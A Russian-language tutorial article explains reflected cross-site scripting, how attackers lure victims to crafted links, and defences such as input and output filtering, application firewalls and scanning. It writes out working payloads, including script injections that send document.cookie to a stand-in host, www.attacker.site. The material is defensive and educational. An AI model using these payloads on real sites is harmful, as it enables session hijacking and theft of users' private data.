Узнайте, как хакеры используют атаку типа "межсайтовый скриптинг", что она повреждает (а что - нет), как их определять, а также как защитить свой Web-сайт и его посетителей от подобных злоумышленных нарушений конфиденциальности и безопасности.
Что происходит при атаке типа "межсайтовый скриптинг"
Межсайтовый скриптинг (cross-site scripting, или сокращенно XSS) - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. XSS - это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-либо целей. Большинство атак подразумевает участие двух сторон: либо злоумышленника и Web-сайт, либо злоумышленника и жертву-клиента. Однако в атаке XSS участвуют три стороны: злоумышленник, клиент и Web-сайт.
Целью атаки XSS является кража с компьютера клиента файлов cookie или другой конфиденциальной информации, которая может идентифицировать клиента на Web-сайте. Располагая информацией для идентификации в качестве легального пользователя, злоумышленник может действовать на сайте в качестве такого пользователя, т.е. притворяться им. Например, при одном аудите, проводимом в большой компании, можно было с помощью атаки XSS получить частную информацию пользователя и номер его кредитной карты. Это было достигнуто путем запуска специального кода на JavaScript. Этот код был запущен в браузере жертвы (клиента), у которой были привилегии доступа на Web-сайт. Есть очень ограниченное число привилегий JavaScript, которые не дают доступ скрипта ни к чему, кроме информации, относящейся к сайту. Важно подчеркнуть, что, хотя уязвимость и существует на Web-сайте, сам он напрямую не повреждается. Но этого достаточно, чтобы скрипт собрал файлы cookie и отправил их злоумышленнику. В итоге злоумышленник получает нужные данные и может имитировать жертву.
Давайте назовем атакуемый сайт следующим образом: www.vulnerable.site. В основе традиционной атаки XSS лежит уязвимый скрипт, который находится на уязвимом сайте. Этот скрипт считывает часть HTTP-запроса (обычно параметры, но иногда также HTTP-заголовки или путь) и повторяет его для ответной страницы, полностью или только часть. При этом не производится очистка запроса (т.е. не проверяется, что запрос не содержит код JavaScript или тэги HTML). Предположим, что этот скрипт называется welcome.cgi, и его параметром является имя. Его можно использовать следующим образом:
|
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 Host: www.vulnerable.site
|
Ответ будет следующим:
|
<HTML> <Title>Welcome!</Title> Hi Joe Hacker <BR> Welcome to our system ... </HTML> |
Как этим можно злоупотребить? Злоумышленник должен суметь завлечь клиента (жертву), чтобы он щелкнул мышью ссылку, которую злоумышленник ему предоставляет. Это тщательно и злонамеренно подготовленная ссылка, которая заставляет Web-браузер жертвы обратиться к сайту (www.vulnerable.site) и выполнить уязвимый скрипт. Данные для этого скрипта содержат код на JavaScript, который получает доступ к файлам cookie, сохраненным браузером клиента для сайта www.vulnerable.site. Это допускается, поскольку браузер клиента "думает", что код на JavaScript исходит от сайта www.vulnerable.site. А модель безопасности JavaScript позволяет скриптам, исходящим от определенного сайта, получать доступ к файлам cookie, которые принадлежат этому сайту.
Подобная ссылка может выглядеть следующим образом:
|
http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>
|
Жертва, щелкнув по этой ссылке, сгенерирует запрос к www.vulnerable.site, показанный ниже:
|
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.vulnerable.site ... |
Ответ уязвимого сайта будет следующим:
|
<HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system ... </HTML> |
Браузер клиента-жертвы интерпретирует этот запрос как HTML-страницу, содержащую часть кода на JavaScript. Этот код при выполнении получит доступ ко всем файлам cookie, принадлежащим сайту www.vulnerable.site. Следовательно, он вызовет всплывающее окно в браузере, показывающее все файлы cookie клиента, которые относятся к www.vulnerable.site.
Конечно, реальная атака подразумевала бы отправку этих файлов атакующему. Для этого атакующий может создать Web-сайт (www.attacker.site) и использовать скрипт для получения файлов cookie. Вместо вызова всплывающего окна злоумышленник написал бы код, который обращается по URL-адресу к сайту www.attacker.site. В связи с этим выполняется скрипт для получения файлов cookie. Параметром для этого скрипта служат украденные файлы cookie. Таким образом, злоумышленник может получить файлы cookie с сервера www.attacker.site.
Вредоносная ссылка может быть следующей:
|
http://www.vulnerable.site/welcome.cgi?name=<script>window.open ("http://www.attacker.site/collect .cgi?cookie="%2Bdocument.cookie)</script>
|
А сгенерированная в ответ страница может выглядеть следующим образом:
|
<HTML> <Title>Welcome!</Title> Hi <script>window.open("http://www.attacker.site/collect.cgi?cookie= "+document.cookie)</script> <BR> Welcome to our system ... </HTML>
|
Немедленно после загрузки этой страницы браузер выполнит вставленный туда код JavaScript и перешлет запрос скрипту collect.cgi на сайте www.attacker.site вместе со значением файлов cookie с сайта www.vulnerable.site, которые уже есть в браузере. Это подрывает безопасность файлов cookie сайта www.vulnerable.site, которые есть у клиента. Это позволяет злоумышленнику притвориться жертвой. Конфиденциальность клиента полностью нарушена.
Примечание.
Обычно вызова всплывающего окна с помощью JavaScript достаточно, чтобы продемонстрировать уязвимость сайта к атаке XSS. Если из JavaScript можно вызвать функцию Alert, то обычно нет причин, по которым вызов может не получиться. Вот почему большинство примеров атак XSS использует функцию Alert, которая очень легко позволяет определить успех атаки.
Область действия и выполнимость
Атака может произойти только в браузере жертвы, том же самом, который использовался для доступа к сайту (www.vulnerable.site). Атакующий должен заставить клиента получить доступ к вредоносной ссылке. Этого можно добиться несколькими способами.
- Злоумышленник посылает по электронной почте сообщение, содержащее HTML-страницу, которая заставляет браузер открыть ссылку. Для этого требуется, чтобы жертва использовала клиент электронной почты, способный работать с HTML. А средством просмотра HTML в клиенте должен быть тот же браузер, который используется для доступа к сайту www.vulnerable.site.
- Клиент посещает сайт, возможно, созданный злоумышленником, на котором ссылка на изображение или другой активный элемент HTML заставляет браузер открыть ссылку. Опять же в этом случае обязательно, чтобы для доступа и к этому сайту, и к сайту www.vulnerable.site использовался один и тот же браузер.
Вредоносный код на JavaScript может получить доступ к любой перечисленной ниже информации:
- постоянные файлы cookie (сайта www.vulnerable.site), которые сохраняет браузер;
- файлы cookie в оперативной памяти (сайта www.vulnerable.site), которые поддерживаются экземпляром браузера только при просмотре сайта www.vulnerable.site;
- имена других окон, открытых для сайта www.vulnerable.site.
- любая информация, которая доступна через текущую модель DOM (из значений, кода HTML и т.д.).
Данные для идентификации, авторизации и аутентификации обычно хранятся в виде файлов cookie. Если эти файлы cookie постоянные, то жертва уязвима для атаки даже тогда, когда она не использует браузер в момент доступа к сайту www.vulnerable.site. Однако если файлы cookie - временные (например, они хранятся в оперативной памяти), то на стороне клиента должен существовать сеанс связи с сайтом www.vulnerable.site.
Еще одна возможная реализация идентификационной метки - это параметр URL. В подобных случаях можно получить доступ к другим окнам, используя JavaScript следующим образом (предположим, что имя страницы с нужными параметрами URL - foobar ):
|
<script>var victim_window=open(",'foobar');alert('Can access: ' +victim_window.location.search)</script>
|
Чтобы запустить скрипт на JavaScript, можно использовать множество тэгов HTML, помимо <SCRIPT>. На самом деле, вредоносный код JavaScript также можно разместить на другом сервере, а затем заставить клиента загрузить скрипт и выполнить его. Это может быть полезным, если нужно запустить большой объем кода, либо если код содержит специальные символы.
Вот несколько вариаций этих возможностей.
- Вместо <script>...</script> хакеры могут использовать конструкцию <img src="javascript:...">. Это подходит для сайтов, которые фильтруют HTML-тэг <script>.
- Вместо <script>...</script> можно использовать конструкцию <script src="http://...">. Это хорошо в ситуации, когда код на JavaScript слишком длинный, или если он содержит запрещенные символы.
Иногда данные, внедренные в ответную страницу, находятся в платном HTML-контексте. В этом случае сначала нужно "сбежать" в бесплатный контекст, а затем предпринять атаку XSS. Например, если данные вставляются в качестве значения по умолчанию для поля формы HTML:
|
... <input type=text name=user value="..."> ... |
Затем нужно вставить в начало данных символ">. Это нужно для того, чтобы обеспечить уход в свободный контекст HTML. Данные могут быть следующими:
|
"><script>window.open("http://www.attacker.site/collect.cgi?cookie= "+document.cookie)</script> |
А итоговый код HTML будет следующим:
|
... <input type=text name=user value=""><script>window.open ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>"> ... |
Другие способы выполнения традиционных атак XSS
До сих пор мы видели, что атака XSS может происходить в параметре запроса GET, на который отвечает скрипт. Но выполнить атаку можно и с помощью запроса POST, либо с использованием компонента пути запроса HTTP, и даже с помощью некоторых заголовков HTTP (например, Referer).
В частности, компонент пути (path) полезен, когда страница ошибки возвращает ошибочный путь. В этом случае включение вредоносного скрипта в путь часто приводит к его выполнению. Многие Web-серверы уязвимы для этой атаки.
Важно понимать, что, хотя Web-сайт и не затронут напрямую этой атакой (он продолжает нормально работать, вредоносный код на нем не выполняется, атака DoS не происходит, и данные с сайта напрямую не считываются и не подделываются), это все же брешь в системе безопасности, которую сайт предлагает своим клиентам или посетителям. Это похоже на сайт, который используется для развертывания приложения со слабыми метками безопасности. Из-за этого злоумышленник может угадать метку безопасности клиента и притвориться им (или ей).
Слабым местом в приложении является скрипт, который возвращает свой параметр независимо от его значения. Хороший скрипт должен убедиться, что у параметра правильный формат, что он содержит приемлемые символы и т.д. Обычно нет причин, чтобы правильный параметр содержал тэги HTML или код JavaScript. Они должны быть удалены из параметра до того, как он будет внедрен в ответ или использован в приложении. Это позволит обеспечить безопасность.
Как обезопасить сайт от атак XSS
Обезопасить сайт от атак XSS можно тремя способами.
- С помощью выполнения собственной фильтрации входных данных (которую иногда называют входным санитарным контролем, или input sanitation ). Для каждого ввода пользователя (будь это параметр или заголовок HTML), в каждом написанным самостоятельно скрипте следует применять расширенные средства фильтрации против тэгов HTML, включая код JavaScript. Например, скрипт welcome.cgi из предыдущего примера должен фильтровать тэг <script> после декодирования параметра имени. Этот метод имеет несколько серьезных недостатков.
- Он требует от прикладного программиста хорошего знания технологий безопасности.
- Он требует от программиста охвата всех возможных источников входных данных (параметров запросов, параметров тела запросов POST, заголовков HTTP).
- Он не может защитить от уязвимостей в скриптах или серверах сторонних производителей. Например, он не защитит от проблем в страницах ошибки на Web-серверах (которые отображают путь источника).
- Выполнение "выходной фильтрации", т.е. фильтрация пользовательских данных, когда они пересылаются обратно в браузер, а не когда их получает скрипт. Хорошим примером этого подхода может стать скрипт, который вставляет данные в базу данных, а затем их отображает. В этом случае важно применять фильтр не исходной входной строке, а только к выходной версии. Недостатки этого метода похожи на недостатки входной фильтрации.
- Установка межсетевого экрана приложений (брандмауэра) стороннего производителя. Этот экран перехватывает атаки XSS до того, как они достигнут Web-сервера и уязвимых скриптов, и блокирует их. Межсетевые экраны приложений могут охватывать все методы ввода, работая с ними общим способом (включая путь и заголовки HTTP), независимо от скрипта или пути из собственного приложения, скрипта стороннего производителя или скрипта, который вообще не описывает никаких ресурсов (например, предназначенный для того, чтобы спровоцировать ответную страницу 404 с сервера). Для каждого источника входных данных межсетевой экран приложений проверяет данные на наличие различных образцов тэгов HTML и кода JavaScript. Если есть какие-то совпадения, то запрос блокируется, и вредоносные данные не достигают сервера.
Как проверить, что сайт защищен от XSS
Логическим завершением защиты сайта является проверка его защищенности от атак XSS. Как и защита сайта от XSS, проверку степени защиты можно проводить вручную (трудный способ), либо с помощью автоматизированного средства оценки уязвимости Web-приложений. Такой инструмент снимет с вас нагрузку, связанную с проверкой. Эта программа перемещается по сайту и запускает все известные ей варианты для всех скриптов, которые она обнаруживает. При этом пробуются все параметры, заголовки и пути. В обоих методах каждый ввод в приложение (параметры всех скриптов, заголовки HTTP, пути) проверяется с максимально возможным количеством вариантов. И если ответная страница содержит код JavaScript в контексте, где браузер может его выполнить, то появляется сообщение об уязвимости к XSS. Например, при отправке следующего текста:
|
<script>alert(document.cookie)</script> |
каждому параметру каждого скрипта (через браузер с возможностями работы с JavaScript, чтобы выявить простейший вид уязвимости к XSS) браузер вызовет окно JavaScript Alert, если текст интерпретирован как код JavaScript. Конечно, есть несколько вариантов. Поэтому тестировать только этот вариант недостаточно. И, как вы уже узнали, можно вставлять код JavaScript в различные поля запроса: параметры, заголовки HTTP и путь. Однако в некоторых случаях (особенно с заголовком HTTP Referer) выполнять атаку с помощью браузера неудобно.
Межсайтовый скриптинг - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. Также она является и самой опасной. Это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-то целей. К сожалению, как поясняет эта статья, это часто делается без знаний об атакуемом клиенте или организации.
Чтобы предотвратить уязвимость Web-сайтов к этим вредоносным действиям, важно, чтобы организация реализовала стратегию и онлайн-, и оффлайн-защиты. Это включает в себя средство автоматизированной проверки уязвимости, которое может протестировать на наличие всех известных уязвимостей Web-сайтов и определенных приложений (например, межсайтовый скриптинг) на сайте. Для полной онлайн-защиты также жизненно важно установить межсетевой экран, который может обнаруживать и блокировать любой тип манипуляций с кодом и данными, располагающимися на Web-серверах или за ними.